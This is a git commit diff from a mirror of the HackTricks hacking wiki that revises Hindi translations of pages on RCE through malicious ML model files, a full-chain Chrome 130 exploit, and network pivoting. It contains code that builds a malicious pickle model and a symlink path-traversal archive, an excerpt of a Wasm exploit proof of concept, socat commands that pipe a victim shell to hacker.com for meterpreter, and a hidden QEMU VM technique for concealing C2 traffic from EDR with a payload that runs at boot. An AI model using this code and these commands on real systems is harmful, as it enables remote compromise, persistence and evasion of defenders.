mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-Models-RCE.md', 'src/binary-exploitation/chrome-e
This commit is contained in:
parent
89a37d0286
commit
1741eebb17
@ -4,7 +4,7 @@
|
||||
|
||||
## Loading models to RCE
|
||||
|
||||
Machine Learning models आमतौर पर विभिन्न प्रारूपों में साझा किए जाते हैं, जैसे ONNX, TensorFlow, PyTorch, आदि। इन मॉडलों को डेवलपर्स की मशीनों या उत्पादन प्रणालियों में लोड किया जा सकता है। आमतौर पर, मॉडलों में दुर्भावनापूर्ण कोड नहीं होना चाहिए, लेकिन कुछ मामलों में मॉडल का उपयोग सिस्टम पर मनमाना कोड निष्पादित करने के लिए किया जा सकता है, जो कि एक इच्छित विशेषता या मॉडल लोडिंग लाइब्रेरी में एक भेद्यता के कारण हो सकता है।
|
||||
Machine Learning models आमतौर पर विभिन्न प्रारूपों में साझा किए जाते हैं, जैसे ONNX, TensorFlow, PyTorch, आदि। इन मॉडलों को डेवलपर्स की मशीनों या उत्पादन प्रणालियों में लोड किया जा सकता है। आमतौर पर, मॉडलों में दुर्भावनापूर्ण कोड नहीं होना चाहिए, लेकिन कुछ मामलों में मॉडल का उपयोग सिस्टम पर मनमाना कोड निष्पादित करने के लिए किया जा सकता है, जो कि एक इच्छित विशेषता के रूप में या मॉडल लोडिंग लाइब्रेरी में एक भेद्यता के कारण हो सकता है।
|
||||
|
||||
लेखन के समय, इस प्रकार की भेद्यताओं के कुछ उदाहरण हैं:
|
||||
|
||||
@ -23,17 +23,17 @@ Machine Learning models आमतौर पर विभिन्न प्र
|
||||
| **Keras (older formats)** | *(No new CVE)* Legacy Keras H5 model | Malicious HDF5 (`.h5`) model with Lambda layer code still executes on load (Keras safe_mode doesn’t cover old format – “downgrade attack”) | |
|
||||
| **Others** (general) | *Design flaw* – Pickle serialization | Many ML tools (e.g., pickle-based model formats, Python `pickle.load`) will execute arbitrary code embedded in model files unless mitigated | |
|
||||
|
||||
इसके अलावा, कुछ पायथन पिकल आधारित मॉडल जैसे कि [PyTorch](https://github.com/pytorch/pytorch/security) द्वारा उपयोग किए जाने वाले, सिस्टम पर मनमाना कोड निष्पादित करने के लिए उपयोग किए जा सकते हैं यदि उन्हें `weights_only=True` के साथ लोड नहीं किया गया है। इसलिए, कोई भी पिकल आधारित मॉडल इस प्रकार के हमलों के प्रति विशेष रूप से संवेदनशील हो सकता है, भले ही वे ऊपर की तालिका में सूचीबद्ध न हों।
|
||||
इसके अलावा, कुछ पायथन पिकल आधारित मॉडल जैसे कि [PyTorch](https://github.com/pytorch/pytorch/security) द्वारा उपयोग किए जाने वाले, सिस्टम पर मनमाना कोड निष्पादित करने के लिए उपयोग किए जा सकते हैं यदि उन्हें `weights_only=True` के साथ लोड नहीं किया गया। इसलिए, कोई भी पिकल आधारित मॉडल इस प्रकार के हमलों के प्रति विशेष रूप से संवेदनशील हो सकता है, भले ही वे ऊपर की तालिका में सूचीबद्ध न हों।
|
||||
|
||||
### 🆕 InvokeAI RCE via `torch.load` (CVE-2024-12029)
|
||||
|
||||
`InvokeAI` एक लोकप्रिय ओपन-सोर्स वेब इंटरफेस है जो Stable-Diffusion के लिए है। संस्करण **5.3.1 – 5.4.2** REST एंडपॉइंट `/api/v2/models/install` को उजागर करते हैं जो उपयोगकर्ताओं को मनमाने URLs से मॉडल डाउनलोड और लोड करने की अनुमति देता है।
|
||||
`InvokeAI` Stable-Diffusion के लिए एक लोकप्रिय ओपन-सोर्स वेब इंटरफेस है। संस्करण **5.3.1 – 5.4.2** REST एंडपॉइंट `/api/v2/models/install` को उजागर करते हैं जो उपयोगकर्ताओं को मनमाने URLs से मॉडल डाउनलोड और लोड करने की अनुमति देता है।
|
||||
|
||||
आंतरिक रूप से, एंडपॉइंट अंततः कॉल करता है:
|
||||
```python
|
||||
checkpoint = torch.load(path, map_location=torch.device("meta"))
|
||||
```
|
||||
जब प्रदान की गई फ़ाइल एक **PyTorch checkpoint (`*.ckpt`)** है, तो `torch.load` एक **pickle deserialization** करता है। चूंकि सामग्री सीधे उपयोगकर्ता-नियंत्रित URL से आती है, एक हमलावर चेकपॉइंट के अंदर एक कस्टम `__reduce__` विधि के साथ एक दुर्भावनापूर्ण ऑब्जेक्ट एम्बेड कर सकता है; यह विधि **deserialization** के दौरान निष्पादित होती है, जिससे **remote code execution (RCE)** InvokeAI सर्वर पर होती है।
|
||||
जब प्रदान की गई फ़ाइल एक **PyTorch checkpoint (`*.ckpt`)** है, तो `torch.load` **pickle deserialization** करता है। चूंकि सामग्री सीधे उपयोगकर्ता-नियंत्रित URL से आती है, एक हमलावर चेकपॉइंट के अंदर एक कस्टम `__reduce__` विधि के साथ एक दुर्भावनापूर्ण ऑब्जेक्ट एम्बेड कर सकता है; यह विधि **deserialization** के दौरान निष्पादित होती है, जिससे **remote code execution (RCE)** InvokeAI सर्वर पर होती है।
|
||||
|
||||
इस भेद्यता को **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %) सौंपा गया था।
|
||||
|
||||
@ -94,7 +94,7 @@ deny all; # block direct Internet access
|
||||
allow 10.0.0.0/8; # only internal CI network can call it
|
||||
}
|
||||
```
|
||||
## उदाहरण – एक दुर्भावनापूर्ण PyTorch मॉडल बनाना
|
||||
## उदाहरण - एक दुर्भावनापूर्ण PyTorch मॉडल बनाना
|
||||
|
||||
- मॉडल बनाएं:
|
||||
```python
|
||||
@ -133,7 +133,7 @@ model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
|
||||
```
|
||||
## Models to Path Traversal
|
||||
|
||||
जैसा कि [**इस ब्लॉग पोस्ट**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties) में टिप्पणी की गई है, विभिन्न AI फ्रेमवर्क द्वारा उपयोग किए जाने वाले अधिकांश मॉडल फ़ॉर्मेट आर्काइव्स पर आधारित होते हैं, आमतौर पर `.zip`। इसलिए, इन फ़ॉर्मेट्स का दुरुपयोग करके पथ यात्रा हमलों को करना संभव हो सकता है, जिससे उस सिस्टम से मनचाहे फ़ाइलों को पढ़ने की अनुमति मिलती है जहाँ मॉडल लोड किया गया है।
|
||||
जैसा कि [**इस ब्लॉग पोस्ट**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties) में टिप्पणी की गई है, विभिन्न AI फ्रेमवर्क द्वारा उपयोग किए जाने वाले अधिकांश मॉडल फ़ॉर्मेट आर्काइव्स पर आधारित होते हैं, आमतौर पर `.zip`। इसलिए, इन फ़ॉर्मेट्स का दुरुपयोग करके पथ traversal हमले करना संभव हो सकता है, जिससे उस सिस्टम से मनचाहे फ़ाइलों को पढ़ने की अनुमति मिलती है जहाँ मॉडल लोड किया गया है।
|
||||
|
||||
उदाहरण के लिए, निम्नलिखित कोड के साथ आप एक ऐसा मॉडल बना सकते हैं जो लोड होने पर `/tmp` निर्देशिका में एक फ़ाइल बनाएगा:
|
||||
```python
|
||||
@ -161,11 +161,11 @@ with tarfile.open("symlink_demo.model", "w:gz") as tf:
|
||||
tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it)
|
||||
tf.add(PAYLOAD) # rides the symlink
|
||||
```
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [OffSec blog – "CVE-2024-12029 – InvokeAI Deserialization of Untrusted Data"](https://www.offsec.com/blog/cve-2024-12029/)
|
||||
- [InvokeAI patch commit 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)
|
||||
- [Rapid7 Metasploit module documentation](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/)
|
||||
- [PyTorch – security considerations for torch.load](https://pytorch.org/docs/stable/notes/serialization.html#security)
|
||||
- [OffSec ब्लॉग – "CVE-2024-12029 – InvokeAI अविश्वसनीय डेटा का डीसिरियलाइजेशन"](https://www.offsec.com/blog/cve-2024-12029/)
|
||||
- [InvokeAI पैच कमिट 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)
|
||||
- [Rapid7 Metasploit मॉड्यूल दस्तावेज़ीकरण](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/)
|
||||
- [PyTorch – torch.load के लिए सुरक्षा विचार](https://pytorch.org/docs/stable/notes/serialization.html#security)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
> यह पृष्ठ Google Chrome 130 के खिलाफ एक आधुनिक "पूर्ण-श्रृंखला" शोषण कार्यप्रवाह का एक उच्च-स्तरीय लेकिन **व्यावहारिक** अवलोकन प्रदान करता है, जो **“101 Chrome Exploitation”** (भाग-0 — प्रस्तावना) पर आधारित है।
|
||||
> यह पृष्ठ Google Chrome 130 के खिलाफ एक आधुनिक "पूर्ण-श्रृंखला" शोषण कार्यप्रवाह का उच्च-स्तरीय फिर भी **व्यावहारिक** अवलोकन प्रदान करता है, जो **“101 Chrome Exploitation”** (भाग-0 — प्रस्तावना) पर आधारित है।
|
||||
> लक्ष्य यह है कि पेंटेस्टर्स और शोषण-डेवलपर्स को अपनी स्वयं की अनुसंधान के लिए तकनीकों को पुन: उत्पन्न या अनुकूलित करने के लिए आवश्यक न्यूनतम पृष्ठभूमि प्रदान की जाए।
|
||||
|
||||
## 1. Chrome Architecture Recap
|
||||
@ -29,11 +29,11 @@
|
||||
```
|
||||
Layered defence-in-depth:
|
||||
|
||||
* **V8 sandbox** (Isolate): मेमोरी अनुमतियाँ मनमाने पढ़ने/लिखने को रोकने के लिए सीमित हैं JITed JS / Wasm से।
|
||||
* **Renderer ↔ Browser split** सुनिश्चित किया गया है **Mojo/IPC** संदेश पासिंग के माध्यम से; renderer के पास *कोई* मूल FS/नेटवर्क पहुंच नहीं है।
|
||||
* **V8 sandbox** (Isolate): मेमोरी अनुमतियाँ JITed JS / Wasm से मनमाने पढ़ने/लिखने को रोकने के लिए सीमित हैं।
|
||||
* **Renderer ↔ Browser split** **Mojo/IPC** संदेश पासिंग के माध्यम से सुनिश्चित किया गया; renderer के पास *कोई* मूल FS/नेटवर्क पहुंच नहीं है।
|
||||
* **OS sandboxes** प्रत्येक प्रक्रिया को और सीमित करते हैं (Windows Integrity Levels / `seccomp-bpf` / macOS sandbox profiles)।
|
||||
|
||||
एक *remote* हमलावर को इसलिए **तीन** लगातार प्राइमिटिव्स की आवश्यकता है:
|
||||
एक *remote* हमलावर को इसलिए **तीन** लगातार प्राइमिटिव की आवश्यकता होती है:
|
||||
|
||||
1. V8 के अंदर मेमोरी भ्रष्टाचार ताकि **V8 heap के अंदर मनमाना RW प्राप्त किया जा सके**।
|
||||
2. एक दूसरा बग जो हमलावर को **V8 sandbox से पूर्ण renderer मेमोरी में भागने** की अनुमति देता है।
|
||||
@ -43,11 +43,11 @@ Layered defence-in-depth:
|
||||
|
||||
## 2. Stage 1 – WebAssembly Type-Confusion (CVE-2025-0291)
|
||||
|
||||
TurboFan के **Turboshaft** ऑप्टिमाइजेशन में एक दोष **WasmGC संदर्भ प्रकारों** को गलत वर्गीकृत करता है जब मान एक *एकल बेसिक ब्लॉक लूप* के अंदर उत्पन्न और उपभोग किया जाता है।
|
||||
TurboFan के **Turboshaft** ऑप्टिमाइजेशन में एक दोष **WasmGC संदर्भ प्रकारों** को गलत वर्गीकृत करता है जब मान एक *एकल मूल ब्लॉक लूप* के अंदर उत्पन्न और उपभोग किया जाता है।
|
||||
|
||||
प्रभाव:
|
||||
* कंपाइलर **प्रकार-चेक को छोड़ देता है**, एक *संदर्भ* (`externref/anyref`) को *int64* के रूप में मानते हुए।
|
||||
* तैयार किया गया Wasm एक JS ऑब्जेक्ट हेडर को हमलावर-नियंत्रित डेटा के साथ ओवरलैप करने की अनुमति देता है → <code>addrOf()</code> & <code>fakeObj()</code> **AAW / AAR प्राइमिटिव्स**।
|
||||
* तैयार किया गया Wasm एक JS ऑब्जेक्ट हेडर को हमलावर-नियंत्रित डेटा के साथ ओवरलैप करने की अनुमति देता है → <code>addrOf()</code> & <code>fakeObj()</code> **AAW / AAR प्राइमिटिव**।
|
||||
|
||||
Minimal PoC (excerpt):
|
||||
```WebAssembly
|
||||
@ -84,12 +84,12 @@ Outcome: **मनमाने पढ़ने/लिखने की क्ष
|
||||
|
||||
## 3. स्टेज 2 – V8 सैंडबॉक्स से बाहर निकलना (issue 379140430)
|
||||
|
||||
जब एक Wasm फ़ंक्शन को टियर-अप-कंपाइल किया जाता है, तो एक **JS ↔ Wasm wrapper** उत्पन्न होता है। एक सिग्नेचर-मिसमैच बग के कारण wrapper एक विश्वसनीय **`Tuple2`** ऑब्जेक्ट के अंत से परे लिखता है जब Wasm फ़ंक्शन को *स्टैक पर रहते हुए* फिर से ऑप्टिमाइज़ किया जाता है।
|
||||
जब एक Wasm फ़ंक्शन को टियर-अप-कंपाइल किया जाता है, तो एक **JS ↔ Wasm wrapper** उत्पन्न होता है। एक सिग्नेचर-मिसमैच बग के कारण wrapper एक विश्वसनीय **`Tuple2`** ऑब्जेक्ट के अंत के पार लिखता है जब Wasm फ़ंक्शन को *स्टैक पर रहते हुए* फिर से ऑप्टिमाइज़ किया जाता है।
|
||||
|
||||
`Tuple2` ऑब्जेक्ट के 2 × 64-बिट फ़ील्ड को ओवरराइट करने से **Renderer प्रक्रिया के भीतर किसी भी पते पर पढ़ने/लिखने की क्षमता** मिलती है, जो V8 सैंडबॉक्स को प्रभावी ढंग से बायपास करती है।
|
||||
|
||||
शोषण के मुख्य चरण:
|
||||
1. फ़ंक्शन को **Tier-Up** स्थिति में लाना टर्बोफैन/बेसलाइन कोड को वैकल्पिक करके।
|
||||
1. टर्बोफैन/बेसलाइन कोड को वैकल्पिक करके फ़ंक्शन को **टियर-अप** स्थिति में लाना।
|
||||
2. स्टैक पर एक संदर्भ रखते हुए टियर-अप को ट्रिगर करना (`Function.prototype.apply`)।
|
||||
3. निकटवर्ती `Tuple2` को खोजने और भ्रष्ट करने के लिए स्टेज-1 AAR/AAW का उपयोग करना।
|
||||
|
||||
@ -109,7 +109,7 @@ After corruption we possess a fully-featured **renderer R/W primitive**.
|
||||
|
||||
The **Mojo** IPC interface `blink.mojom.DragService.startDragging()` can be called from the Renderer with *partially trusted* parameters. By crafting a `DragData` structure pointing to an **arbitrary file path** the renderer convinces the browser to perform a *native* drag-and-drop **outside the renderer sandbox**.
|
||||
|
||||
इसका दुरुपयोग करते हुए हम प्रोग्रामेटिकली एक दुर्भावनापूर्ण EXE (जो पहले एक विश्व-लेखनीय स्थान पर रखा गया था) को डेस्कटॉप पर “खींच” सकते हैं, जहाँ Windows स्वचालित रूप से कुछ फ़ाइल-प्रकारों को छोड़ने पर निष्पादित करता है।
|
||||
इसका दुरुपयोग करते हुए, हम प्रोग्रामेटिक रूप से एक दुर्भावनापूर्ण EXE (जो पहले एक विश्व-लिखने योग्य स्थान पर रखा गया था) को डेस्कटॉप पर “खींच” सकते हैं, जहाँ Windows स्वचालित रूप से कुछ फ़ाइल-प्रकारों को छोड़ने पर निष्पादित करता है।
|
||||
|
||||
Example (simplified):
|
||||
```js
|
||||
@ -132,8 +132,8 @@ mime_type: "application/x-msdownload"
|
||||
|
||||
1. **उपयोगकर्ता** दुर्भावनापूर्ण वेबपृष्ठ पर जाता है।
|
||||
2. **चरण 1**: Wasm मॉड्यूल CVE-2025-0291 का दुरुपयोग करता है → V8 हीप AAR/AAW।
|
||||
3. **चरण 2**: व्रैपर असंगति `Tuple2` को भ्रष्ट करता है → V8 सैंडबॉक्स से बाहर निकलता है।
|
||||
4. **चरण 3**: `startDragging()` IPC → OS सैंडबॉक्स से बाहर निकलता है और पेलोड निष्पादित करता है।
|
||||
3. **चरण 2**: रैपर असंगति `Tuple2` को भ्रष्ट करती है → V8 सैंडबॉक्स से बाहर निकलें।
|
||||
4. **चरण 3**: `startDragging()` IPC → OS सैंडबॉक्स से बाहर निकलें और पेलोड निष्पादित करें।
|
||||
|
||||
परिणाम: **रिमोट कोड निष्पादन (RCE)** होस्ट पर (Chrome 130, Windows/Linux/macOS)।
|
||||
|
||||
@ -159,7 +159,7 @@ chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-nativ
|
||||
## Takeaways
|
||||
|
||||
* **WebAssembly JIT बग** एक विश्वसनीय प्रवेश बिंदु बने रहते हैं - प्रकार प्रणाली अभी भी युवा है।
|
||||
* V8 के अंदर एक दूसरा मेमोरी-करप्शन बग प्राप्त करना (जैसे कि wrapper mismatch) **V8-sandbox escape** को बहुत सरल बनाता है।
|
||||
* V8 के अंदर एक दूसरा मेमोरी-क्षति बग प्राप्त करना (जैसे कि wrapper mismatch) **V8-sandbox escape** को बहुत सरल बनाता है।
|
||||
* विशेष Mojo IPC इंटरफेस में लॉजिक-स्तरीय कमजोरियाँ अक्सर **अंतिम sandbox escape** के लिए पर्याप्त होती हैं - *non-memory* बग पर नज़र रखें।
|
||||
|
||||
## References
|
||||
|
@ -68,7 +68,7 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
||||
```
|
||||
### VPN-Tunnel
|
||||
|
||||
आपको **दोनों उपकरणों में रूट** की आवश्यकता है (क्योंकि आप नए इंटरफेस बनाने जा रहे हैं) और sshd कॉन्फ़िगरेशन को रूट लॉगिन की अनुमति देनी होगी:\
|
||||
आपको **दोनों उपकरणों में रूट** की आवश्यकता है (क्योंकि आप नए इंटरफेस बनाने जा रहे हैं) और sshd कॉन्फ़िगरेशन को रूट लॉगिन की अनुमति देनी चाहिए:\
|
||||
`PermitRootLogin yes`\
|
||||
`PermitTunnel yes`
|
||||
```bash
|
||||
@ -93,7 +93,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||
|
||||
## SSHUTTLE
|
||||
|
||||
आप **ssh** के माध्यम से एक होस्ट के माध्यम से **उपनेटवर्क** के लिए सभी **ट्रैफ़िक** को **टनल** कर सकते हैं।\
|
||||
आप **ssh** के माध्यम से **ट्रैफ़िक** को एक **उप-नेटवर्क** के माध्यम से एक होस्ट पर **टनल** कर सकते हैं।\
|
||||
उदाहरण के लिए, 10.10.10.0/24 पर जाने वाले सभी ट्रैफ़िक को फॉरवर्ड करना
|
||||
```bash
|
||||
pip install sshuttle
|
||||
@ -108,7 +108,7 @@ sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
|
||||
|
||||
### Port2Port
|
||||
|
||||
स्थानीय पोर्ट --> समझौता किया गया होस्ट (सक्रिय सत्र) --> तीसरा_बॉक्स:पोर्ट
|
||||
स्थानीय पोर्ट --> समझौता किया गया होस्ट (सक्रिय सत्र) --> Third_box:Port
|
||||
```bash
|
||||
# Inside a meterpreter session
|
||||
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
|
||||
@ -156,14 +156,14 @@ rportfwd stop [bind port]
|
||||
```
|
||||
To note:
|
||||
|
||||
- Beacon's reverse port forward is designed to **ट्रैफ़िक को Team Server तक टनल करने के लिए, व्यक्तिगत मशीनों के बीच रिले करने के लिए नहीं**।
|
||||
- ट्रैफ़िक **Beacon के C2 ट्रैफ़िक के भीतर टनल किया जाता है**, जिसमें P2P लिंक शामिल हैं।
|
||||
- **प्रशासक विशेषाधिकार की आवश्यकता नहीं है** उच्च पोर्ट पर रिवर्स पोर्ट फॉरवर्ड बनाने के लिए।
|
||||
- Beacon's reverse port forward is designed to **ट्रैफ़िक को टीम सर्वर तक टनल करने के लिए, व्यक्तिगत मशीनों के बीच रिले करने के लिए नहीं**।
|
||||
- ट्रैफ़िक **बीकन के C2 ट्रैफ़िक के भीतर टनल किया जाता है**, जिसमें P2P लिंक शामिल हैं।
|
||||
- **एडमिन विशेषाधिकार की आवश्यकता नहीं है** उच्च पोर्ट पर रिवर्स पोर्ट फॉरवर्ड बनाने के लिए।
|
||||
|
||||
### rPort2Port local
|
||||
|
||||
> [!WARNING]
|
||||
> इस मामले में, **पोर्ट beacon होस्ट में खोला जाता है**, Team Server में नहीं और **ट्रैफ़िक Cobalt Strike क्लाइंट को भेजा जाता है** (Team Server को नहीं) और वहां से निर्दिष्ट होस्ट:पोर्ट पर।
|
||||
> इस मामले में, **पोर्ट बीकन होस्ट में खोला जाता है**, टीम सर्वर में नहीं और **ट्रैफ़िक को कोबाल्ट स्ट्राइक क्लाइंट** (टीम सर्वर को नहीं) पर भेजा जाता है और वहां से निर्दिष्ट होस्ट:पोर्ट पर।
|
||||
```bash
|
||||
rportfwd_local [bind port] [forward host] [forward port]
|
||||
rportfwd_local stop [bind port]
|
||||
@ -179,7 +179,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t
|
||||
## Chisel
|
||||
|
||||
आप इसे [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel) के रिलीज़ पृष्ठ से डाउनलोड कर सकते हैं।\
|
||||
आपको **क्लाइंट और सर्वर के लिए समान संस्करण का उपयोग करना होगा**।
|
||||
आपको **क्लाइंट और सर्वर के लिए समान संस्करण का उपयोग करना होगा।**
|
||||
|
||||
### socks
|
||||
```bash
|
||||
@ -280,7 +280,7 @@ socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
|
||||
```bash
|
||||
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
|
||||
```
|
||||
### Meterpreter के माध्यम से SSL Socat
|
||||
### Meterpreter के लिए SSL Socat
|
||||
```bash
|
||||
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
|
||||
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
|
||||
@ -290,7 +290,7 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
|
||||
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
|
||||
#Execute the meterpreter
|
||||
```
|
||||
आप एक **गैर-प्रमाणित प्रॉक्सी** को बायपास कर सकते हैं, इस पंक्ति को पीड़ित के कंसोल में अंतिम पंक्ति के बजाय निष्पादित करके:
|
||||
आप एक **गैर-प्रमाणित प्रॉक्सी** को बायपास कर सकते हैं, इस लाइन को पीड़ित के कंसोल में अंतिम लाइन के बजाय निष्पादित करके:
|
||||
```bash
|
||||
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
||||
```
|
||||
@ -396,7 +396,7 @@ Domain CONTOSO.COM
|
||||
Proxy 10.0.0.10:8080
|
||||
Tunnel 2222:<attackers_machine>:443
|
||||
```
|
||||
अब, यदि आप पीड़ित पर **SSH** सेवा को पोर्ट 443 पर सुनने के लिए सेट करते हैं। आप इसे हमलावर पोर्ट 2222 के माध्यम से कनेक्ट कर सकते हैं।\
|
||||
अब, यदि आप उदाहरण के लिए पीड़ित पर **SSH** सेवा को पोर्ट 443 पर सुनने के लिए सेट करते हैं। आप इसे हमलावर पोर्ट 2222 के माध्यम से कनेक्ट कर सकते हैं।\
|
||||
आप एक **meterpreter** का भी उपयोग कर सकते हैं जो localhost:443 से कनेक्ट होता है और हमलावर पोर्ट 2222 पर सुन रहा है।
|
||||
|
||||
## YARP
|
||||
@ -459,7 +459,7 @@ Proxychains `gethostbyname` libc कॉल को इंटरसेप्ट
|
||||
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
|
||||
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
|
||||
|
||||
दोनों सिस्टम में टन अडाप्टर बनाने और ICMP इको अनुरोधों का उपयोग करके उनके बीच डेटा टनल करने के लिए रूट की आवश्यकता होती है।
|
||||
दोनों सिस्टम में tun एडाप्टर बनाने और ICMP इको अनुरोधों का उपयोग करके उनके बीच डेटा टनल करने के लिए रूट की आवश्यकता होती है।
|
||||
```bash
|
||||
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
|
||||
./hans -f -c <server_ip> -p P@ssw0rd -v
|
||||
@ -574,7 +574,7 @@ url: http://127.0.0.1:8000
|
||||
```bash
|
||||
cloudflared tunnel run mytunnel
|
||||
```
|
||||
क्योंकि सभी ट्रैफ़िक होस्ट से **443 पर आउटबाउंड** निकलता है, Cloudflared टनल इनग्रेस ACLs या NAT सीमाओं को बायपास करने का एक सरल तरीका है। ध्यान दें कि बाइनरी आमतौर पर उच्च विशेषाधिकारों के साथ चलती है - जब संभव हो, कंटेनरों का उपयोग करें या `--user` ध्वज का उपयोग करें।
|
||||
क्योंकि सभी ट्रैफ़िक होस्ट से **443 पर आउटबाउंड** निकलता है, Cloudflared टनल इनग्रेस ACLs या NAT सीमाओं को बायपास करने का एक सरल तरीका है। ध्यान दें कि बाइनरी आमतौर पर उच्च विशेषाधिकारों के साथ चलती है - जब संभव हो, कंटेनरों का उपयोग करें या `--user` फ़्लैग का उपयोग करें।
|
||||
|
||||
## FRP (Fast Reverse Proxy)
|
||||
|
||||
@ -612,7 +612,7 @@ ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_p
|
||||
|
||||
## QEMU के साथ गुप्त VM-आधारित टनल
|
||||
|
||||
QEMU के उपयोगकर्ता-मोड नेटवर्किंग (`-netdev user`) में `hostfwd` नामक एक विकल्प का समर्थन किया जाता है जो **एक TCP/UDP पोर्ट को *होस्ट* पर बाइंड करता है और इसे *गेस्ट* में अग्रेषित करता है**। जब गेस्ट एक पूर्ण SSH डेमन चलाता है, तो hostfwd नियम आपको एक नष्ट करने योग्य SSH जंप बॉक्स देता है जो पूरी तरह से एक अस्थायी VM के अंदर रहता है – EDR से C2 ट्रैफ़िक को छिपाने के लिए सही क्योंकि सभी दुर्भावनापूर्ण गतिविधियाँ और फ़ाइलें वर्चुअल डिस्क में रहती हैं।
|
||||
QEMU का उपयोगकर्ता-मोड नेटवर्किंग (`-netdev user`) एक विकल्प का समर्थन करता है जिसे `hostfwd` कहा जाता है जो **एक TCP/UDP पोर्ट को *होस्ट* पर बाइंड करता है और इसे *गेस्ट* में अग्रेषित करता है**। जब गेस्ट एक पूर्ण SSH डेमन चलाता है, तो hostfwd नियम आपको एक नष्ट करने योग्य SSH जंप बॉक्स देता है जो पूरी तरह से एक अस्थायी VM के अंदर रहता है – EDR से C2 ट्रैफ़िक को छिपाने के लिए सही क्योंकि सभी दुर्भावनापूर्ण गतिविधियाँ और फ़ाइलें वर्चुअल डिस्क में रहती हैं।
|
||||
|
||||
### त्वरित एक-लाइनर
|
||||
```powershell
|
||||
@ -634,13 +634,13 @@ qemu-system-x86_64.exe ^
|
||||
Set o = CreateObject("Wscript.Shell")
|
||||
o.Run "stl.exe -m 256M -drive file=tc.qcow2,if=ide -netdev user,id=n0,hostfwd=tcp::2222-:22", 0
|
||||
```
|
||||
`cscript.exe //B update.vbs` के साथ स्क्रिप्ट चलाने से विंडो छिपी रहती है।
|
||||
Running the script with `cscript.exe //B update.vbs` keeps the window hidden.
|
||||
|
||||
### गेस्ट में स्थायीता
|
||||
### In-guest persistence
|
||||
|
||||
चूंकि Tiny Core स्टेटलेस है, हमलावर आमतौर पर:
|
||||
क्योंकि Tiny Core बिना स्थिति का है, हमलावर आमतौर पर:
|
||||
|
||||
1. `/opt/123.out` पर पेलोड ड्रॉप करते हैं
|
||||
1. Payload को `/opt/123.out` पर डालते हैं
|
||||
2. `/opt/bootlocal.sh` में जोड़ते हैं:
|
||||
|
||||
```sh
|
||||
@ -648,28 +648,28 @@ while ! ping -c1 45.77.4.101; do sleep 2; done
|
||||
/opt/123.out
|
||||
```
|
||||
|
||||
3. पेलोड को `mydata.tgz` में पैक करने के लिए `/opt/filetool.lst` में `home/tc` और `opt` जोड़ते हैं जब सिस्टम बंद होता है।
|
||||
3. Payload को `mydata.tgz` में पैक करने के लिए `/opt/filetool.lst` में `home/tc` और `opt` जोड़ते हैं जब सिस्टम बंद होता है।
|
||||
|
||||
### यह पहचान से कैसे बचता है
|
||||
### Why this evades detection
|
||||
|
||||
• केवल दो असाइन किए गए निष्पादन योग्य (`qemu-system-*.exe`) डिस्क को छूते हैं; कोई ड्राइवर या सेवाएँ स्थापित नहीं हैं।
|
||||
• होस्ट पर सुरक्षा उत्पाद **सौम्य लूपबैक ट्रैफ़िक** देखते हैं (वास्तविक C2 VM के अंदर समाप्त होता है)।
|
||||
• केवल दो असाइन किए गए executables (`qemu-system-*.exe`) डिस्क को छूते हैं; कोई ड्राइवर या सेवाएँ स्थापित नहीं की जाती हैं।
|
||||
• होस्ट पर सुरक्षा उत्पाद **benign loopback traffic** देखते हैं (वास्तविक C2 VM के अंदर समाप्त होता है)।
|
||||
• मेमोरी स्कैनर कभी भी दुर्भावनापूर्ण प्रक्रिया स्थान का विश्लेषण नहीं करते क्योंकि यह एक अलग OS में रहता है।
|
||||
|
||||
### डिफेंडर टिप्स
|
||||
### Defender tips
|
||||
|
||||
• उपयोगकर्ता-लिखने योग्य पथों में **अप्रत्याशित QEMU/VirtualBox/KVM बाइनरी** पर अलर्ट करें।
|
||||
• उपयोगकर्ता-लिखने योग्य पथों में **unexpected QEMU/VirtualBox/KVM binaries** पर अलर्ट करें।
|
||||
• `qemu-system*.exe` से उत्पन्न आउटबाउंड कनेक्शनों को ब्लॉक करें।
|
||||
